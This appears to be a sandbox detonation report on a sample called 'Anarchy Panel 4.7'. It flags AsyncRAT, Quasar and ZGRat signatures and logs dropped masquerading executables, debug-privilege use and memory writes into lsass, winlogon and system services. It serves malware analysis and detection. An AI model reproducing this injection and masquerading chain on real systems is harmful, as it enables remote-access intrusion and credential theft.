US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 103.169.127.40.in-addr.arpa udp
US 8.8.8.8:53 56.126.166.20.in-addr.arpa udp
US 8.8.8.8:53 218.240.110.104.in-addr.arpa udp
US 8.8.8.8:53 23.236.111.52.in-addr.arpa udp
US 8.8.8.8:53 209.78.101.95.in-addr.arpa udp
US 8.8.8.8:53 1.173.189.20.in-addr.arpa udp

Files

N/A

Analysis: behavioral30

Detonation Overview

Submitted

2023-11-26 16:10

Reported

2023-11-26 16:15

Platform

win10v2004-20231025-en

Max time kernel

92s

Max time network

150s

Command Line

rundll32.exe "C:\Users\Admin\AppData\Local\Temp\Anarchy Panel 4.7\Plugins\mGWHaG2Jn.dll",#1

Signatures

N/A

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe "C:\Users\Admin\AppData\Local\Temp\Anarchy Panel 4.7\Plugins\mGWHaG2Jn.dll",#1

Network

Country Destination Domain Proto
US 8.8.8.8:53 146.78.124.51.in-addr.arpa udp
US 8.8.8.8:53 254.22.238.8.in-addr.arpa udp
US 8.8.8.8:53 0.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 208.194.73.20.in-addr.arpa udp
US 8.8.8.8:53 158.240.127.40.in-addr.arpa udp
US 8.8.8.8:53 103.169.127.40.in-addr.arpa udp
US 8.8.8.8:53 206.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 192.240.110.104.in-addr.arpa udp
US 8.8.8.8:53 209.78.101.95.in-addr.arpa udp
US 8.8.8.8:53 193.78.101.95.in-addr.arpa udp

Files

N/A

Analysis: behavioral2

Detonation Overview

Submitted

2023-11-26 16:10

Reported

2023-11-26 16:15

Platform

win10v2004-20231023-en

Max time kernel

147s

Max time network

158s

Command Line

C:\Windows\system32\lsass.exe

Signatures

AsyncRat

rat asyncrat

Detect ZGRat V1

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Quasar RAT

trojan spyware quasar

Quasar payload

Description Indicator Process Target
N/A N/A N/A N/A

ZGRat

rat zgrat

Async RAT payload

rat
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

.NET Reactor proctector

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-3125601242-331447593-1512828465-1000\Control Panel\International\Geo\Nation C:\Windows\$sxr-mshta.exe N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\Anarchy Panel.exe N/A

Drops file in System32 directory

Description Indicator Process Target
File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx C:\Windows\System32\svchost.exe N/A
File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx C:\Windows\System32\svchost.exe N/A

Drops file in Windows directory

Description Indicator Process Target
File opened for modification C:\Windows\$sxr-mshta.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
File created C:\Windows\$sxr-cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\$sxr-cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
File created C:\Windows\$sxr-powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\$sxr-powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
File created C:\Windows\$sxr-mshta.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

Checks processor information in registry

Description Indicator Process Target
Key opened \Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Windows\system32\svchost.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Windows\system32\svchost.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Windows\system32\wbem\wmiprvse.exe N/A
Key queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Windows\system32\wbem\wmiprvse.exe N/A
Key security queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Windows\system32\wbem\wmiprvse.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information C:\Windows\system32\wbem\wmiprvse.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Windows\system32\wbem\wmiprvse.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier C:\Windows\system32\wbem\wmiprvse.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\ C:\Windows\$sxr-mshta.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Anarchy Panel.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Anarchy Panel.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Anarchy Panel.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Anarchy Panel.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Anarchy Panel.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Anarchy Panel.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Anarchy Panel.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Anarchy Panel.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Anarchy Panel.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Anarchy Panel.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Anarchy Panel.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Anarchy Panel.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Anarchy Panel.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Anarchy Panel.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Anarchy Panel.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Anarchy Panel.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Anarchy Panel.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Anarchy Panel.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Anarchy Panel.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Anarchy Panel.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Anarchy Panel.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Anarchy Panel.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Anarchy Panel.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Anarchy Panel.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Anarchy Panel.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Anarchy Panel.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Anarchy Panel.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\$sxr-powershell.exe N/A
N/A N/A C:\Windows\$sxr-powershell.exe N/A
N/A N/A C:\Windows\$sxr-powershell.exe N/A
N/A N/A C:\Windows\$sxr-powershell.exe N/A
N/A N/A C:\Windows\$sxr-powershell.exe N/A
N/A N/A C:\Windows\$sxr-powershell.exe N/A
N/A N/A C:\Windows\$sxr-powershell.exe N/A
N/A N/A C:\Windows\$sxr-powershell.exe N/A
N/A N/A C:\Windows\$sxr-powershell.exe N/A
N/A N/A C:\Windows\$sxr-powershell.exe N/A
N/A N/A C:\Windows\$sxr-powershell.exe N/A
N/A N/A C:\Windows\$sxr-powershell.exe N/A
N/A N/A C:\Windows\$sxr-powershell.exe N/A
N/A N/A C:\Windows\$sxr-powershell.exe N/A
N/A N/A C:\Windows\$sxr-powershell.exe N/A
N/A N/A C:\Windows\$sxr-powershell.exe N/A
N/A N/A C:\Windows\$sxr-powershell.exe N/A
N/A N/A C:\Windows\$sxr-powershell.exe N/A
N/A N/A C:\Windows\$sxr-powershell.exe N/A
N/A N/A C:\Windows\$sxr-powershell.exe N/A
N/A N/A C:\Windows\$sxr-powershell.exe N/A
N/A N/A C:\Windows\$sxr-powershell.exe N/A
N/A N/A C:\Windows\$sxr-powershell.exe N/A
N/A N/A C:\Windows\$sxr-powershell.exe N/A
N/A N/A C:\Windows\$sxr-powershell.exe N/A
N/A N/A C:\Windows\$sxr-powershell.exe N/A
N/A N/A C:\Windows\$sxr-powershell.exe N/A
N/A N/A C:\Windows\$sxr-powershell.exe N/A
N/A N/A C:\Windows\$sxr-powershell.exe N/A
N/A N/A C:\Windows\$sxr-powershell.exe N/A
N/A N/A C:\Windows\$sxr-powershell.exe N/A
N/A N/A C:\Windows\$sxr-powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\Anarchy Panel.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\$sxr-powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\$sxr-powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\$sxr-powershell.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeDebugPrivilege N/A C:\Windows\$sxr-powershell.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeAssignPrimaryTokenPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeAssignPrimaryTokenPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeAssignPrimaryTokenPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeAssignPrimaryTokenPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeAssignPrimaryTokenPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\system32\svchost.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\Anarchy Panel.exe N/A

Suspicious use of SendNotifyMessage

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\Anarchy Panel.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Windows\$sxr-powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3008 wrote to memory of 3564 N/A C:\Users\Admin\Desktop\Anarchy Panel 4.7\Anarchy Panel.exe C:\Users\Admin\AppData\Local\Temp\Anarchy Panel.exe
PID 3008 wrote to memory of 3564 N/A C:\Users\Admin\Desktop\Anarchy Panel 4.7\Anarchy Panel.exe C:\Users\Admin\AppData\Local\Temp\Anarchy Panel.exe
PID 3008 wrote to memory of 1532 N/A C:\Users\Admin\Desktop\Anarchy Panel 4.7\Anarchy Panel.exe C:\Windows\system32\cmd.exe
PID 3008 wrote to memory of 1532 N/A C:\Users\Admin\Desktop\Anarchy Panel 4.7\Anarchy Panel.exe C:\Windows\system32\cmd.exe
PID 1532 wrote to memory of 5060 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 1532 wrote to memory of 5060 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 1532 wrote to memory of 4764 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1532 wrote to memory of 4764 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4016 wrote to memory of 1900 N/A C:\Windows\$sxr-mshta.exe C:\Windows\$sxr-cmd.exe
PID 4016 wrote to memory of 1900 N/A C:\Windows\$sxr-mshta.exe C:\Windows\$sxr-cmd.exe
PID 1900 wrote to memory of 1672 N/A C:\Windows\$sxr-cmd.exe C:\Windows\system32\cmd.exe
PID 1900 wrote to memory of 1672 N/A C:\Windows\$sxr-cmd.exe C:\Windows\system32\cmd.exe
PID 1900 wrote to memory of 1488 N/A C:\Windows\$sxr-cmd.exe C:\Windows\$sxr-powershell.exe
PID 1900 wrote to memory of 1488 N/A C:\Windows\$sxr-cmd.exe C:\Windows\$sxr-powershell.exe
PID 1488 wrote to memory of 620 N/A C:\Windows\$sxr-powershell.exe C:\Windows\system32\winlogon.exe
PID 1488 wrote to memory of 684 N/A C:\Windows\$sxr-powershell.exe C:\Windows\system32\lsass.exe
PID 1488 wrote to memory of 960 N/A C:\Windows\$sxr-powershell.exe C:\Windows\system32\svchost.exe
PID 1488 wrote to memory of 336 N/A C:\Windows\$sxr-powershell.exe C:\Windows\system32\dwm.exe
PID 1488 wrote to memory of 664 N/A C:\Windows\$sxr-powershell.exe C:\Windows\System32\svchost.exe
PID 1488 wrote to memory of 1056 N/A C:\Windows\$sxr-powershell.exe C:\Windows\System32\svchost.exe
PID 1488 wrote to memory of 1064 N/A C:\Windows\$sxr-powershell.exe C:\Windows\system32\svchost.exe
PID 1488 wrote to memory of 1168 N/A C:\Windows\$sxr-powershell.exe C:\Windows\system32\svchost.exe
PID 1488 wrote to memory of 1188 N/A C:\Windows\$sxr-powershell.exe C:\Windows\system32\svchost.exe
PID 1488 wrote to memory of 1224 N/A C:\Windows\$sxr-powershell.exe C:\Windows\system32\svchost.exe
PID 1488 wrote to memory of 1268 N/A C:\Windows\$sxr-powershell.exe C:\Windows\System32\svchost.exe
PID 1488 wrote to memory of 1376 N/A C:\Windows\$sxr-powershell.exe C:\Windows\system32\svchost.exe
PID 1488 wrote to memory of 1400 N/A C:\Windows\$sxr-powershell.exe C:\Windows\system32\svchost.exe
PID 1488 wrote to memory of 1424 N/A C:\Windows\$sxr-powershell.exe C:\Windows\System32\svchost.exe
PID 1488 wrote to memory of 1440 N/A C:\Windows\$sxr-powershell.exe C:\Windows\system32\svchost.exe
PID 1488 wrote to memory of 1544 N/A C:\Windows\$sxr-powershell.exe C:\Windows\system32\svchost.exe
PID 1488 wrote to memory of 1600 N/A C:\Windows\$sxr-powershell.exe C:\Windows\system32\svchost.exe
PID 1488 wrote to memory of 1648 N/A C:\Windows\$sxr-powershell.exe C:\Windows\System32\svchost.exe
PID 1488 wrote to memory of 1688 N/A C:\Windows\$sxr-powershell.exe C:\Windows\System32\svchost.exe
PID 1488 wrote to memory of 1752 N/A C:\Windows\$sxr-powershell.exe C:\Windows\System32\svchost.exe
PID 1488 wrote to memory of 1848 N/A C:\Windows\$sxr-powershell.exe C:\Windows\System32\svchost.exe
PID 1488 wrote to memory of 1964 N/A C:\Windows\$sxr-powershell.exe C:\Windows\System32\svchost.exe
PID 1488 wrote to memory of 1972 N/A C:\Windows\$sxr-powershell.exe C:\Windows\system32\svchost.exe
PID 1488 wrote to memory of 1980 N/A C:\Windows\$sxr-powershell.exe C:\Windows\system32\svchost.exe
PID 1488 wrote to memory of 376 N/A C:\Windows\$sxr-powershell.exe C:\Windows\System32\svchost.exe
PID 1488 wrote to memory of 2040 N/A C:\Windows\$sxr-powershell.exe C:\Windows\System32\spoolsv.exe
PID 1488 wrote to memory of 2092 N/A C:\Windows\$sxr-powershell.exe C:\Windows\System32\svchost.exe
PID 1488 wrote to memory of 2196 N/A C:\Windows\$sxr-powershell.exe C:\Windows\System32\svchost.exe
PID 1488 wrote to memory of 2328 N/A C:\Windows\$sxr-powershell.exe C:\Windows\system32\sihost.exe
PID 1488 wrote to memory of 2340 N/A C:\Windows\$sxr-powershell.exe C:\Windows\system32\svchost.exe
PID 1488 wrote to memory of 2424 N/A C:\Windows\$sxr-powershell.exe C:\Windows\system32\svchost.exe
PID 1488 wrote to memory of 2432 N/A C:\Windows\$sxr-powershell.exe C:\Windows\system32\svchost.exe
PID 1488 wrote to memory of 2464 N/A C:\Windows\$sxr-powershell.exe C:\Windows\system32\taskhostw.exe
PID 1488 wrote to memory of 2500 N/A C:\Windows\$sxr-powershell.exe C:\Windows\system32\svchost.exe
PID 1488 wrote to memory of 2560 N/A C:\Windows\$sxr-powershell.exe C:\Windows\system32\svchost.exe
PID 1488 wrote to memory of 2608 N/A C:\Windows\$sxr-powershell.exe C:\Windows\sysmon.exe
PID 1488 wrote to memory of 2616 N/A C:\Windows\$sxr-powershell.exe C:\Windows\System32\svchost.exe
PID 1488 wrote to memory of 2624 N/A C:\Windows\$sxr-powershell.exe C:\Windows\system32\svchost.exe
PID 1488 wrote to memory of 2640 N/A C:\Windows\$sxr-powershell.exe C:\Windows\system32\svchost.exe
PID 1488 wrote to memory of 2676 N/A C:\Windows\$sxr-powershell.exe C:\Windows\system32\svchost.exe
PID 1488 wrote to memory of 676 N/A C:\Windows\$sxr-powershell.exe C:\Windows\system32\svchost.exe
PID 1488 wrote to memory of 1328 N/A C:\Windows\$sxr-powershell.exe C:\Windows\system32\wbem\unsecapp.exe
PID 1488 wrote to memory of 3292 N/A C:\Windows\$sxr-powershell.exe C:\Windows\Explorer.EXE
PID 1488 wrote to memory of 3472 N/A C:\Windows\$sxr-powershell.exe C:\Windows\system32\svchost.exe
PID 1488 wrote to memory of 3660 N/A C:\Windows\$sxr-powershell.exe C:\Windows\system32\DllHost.exe
PID 684 wrote to memory of 2608 N/A C:\Windows\system32\lsass.exe C:\Windows\sysmon.exe
PID 684 wrote to memory of 2608 N/A C:\Windows\system32\lsass.exe C:\Windows\sysmon.exe
PID 1488 wrote to memory of 3828 N/A C:\Windows\$sxr-powershell.exe C:\Windows\System32\RuntimeBroker.exe
PID 1488 wrote to memory of 4056 N/A C:\Windows\$sxr-powershell.exe C:\Windows\System32\RuntimeBroker.exe
PID 1488 wrote to memory of 5004 N/A C:\Windows\$sxr-powershell.exe C:\Windows\System32\RuntimeBroker.exe

Uses Task Scheduler COM API

persistence

Processes

C:\Windows\system32\lsass.exe

C:\Windows\system32\lsass.exe

C:\Windows\system32\winlogon.exe

winlogon.exe

C:\Windows\system32\dwm.exe

"dwm.exe"

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks

C:\Windows\System32\RuntimeBroker.exe

C:\Windows\System32\RuntimeBroker.exe -Embedding

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k appmodel -p -s camsvc

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo

C:\Windows\system32\DllHost.exe

C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager

C:\Windows\system32\SppExtComObj.exe

C:\Windows\system32\SppExtComObj.exe -Embedding

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe

"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc

C:\Windows\System32\RuntimeBroker.exe

C:\Windows\System32\RuntimeBroker.exe -Embedding

C:\Windows\System32\RuntimeBroker.exe

C:\Windows\System32\RuntimeBroker.exe -Embedding

C:\Windows\system32\DllHost.exe

C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc

C:\Windows\Explorer.EXE

C:\Windows\Explorer.EXE

C:\Windows\system32\wbem\unsecapp.exe

C:\Windows\system32\wbem\unsecapp.exe -Embedding

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService

C:\Windows\sysmon.exe

C:\Windows\sysmon.exe

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer

C:\Windows\system32\taskhostw.exe

taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc

C:\Windows\system32\sihost.exe

sihost.exe

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc

C:\Windows\System32\spoolsv.exe

C:\Windows\System32\spoolsv.exe

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalService -p -s nsi

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc

C:\Windows\Explorer.exe

C:\Windows\Explorer.exe /idlist,,"C:\Users\Admin\AppData\Local\Temp\Anarchy Panel 4.7.zip"

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc

C:\Windows\System32\rundll32.exe

C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding

C:\Users\Admin\Desktop\Anarchy Panel 4.7\Anarchy Panel.exe

"C:\Users\Admin\Desktop\Anarchy Panel 4.7\Anarchy Panel.exe"

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s PcaSvc

C:\Users\Admin\AppData\Local\Temp\Anarchy Panel.exe

"C:\Users\Admin\AppData\Local\Temp\Anarchy Panel.exe"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\svchost.bat" "

C:\Windows\system32\cmd.exe

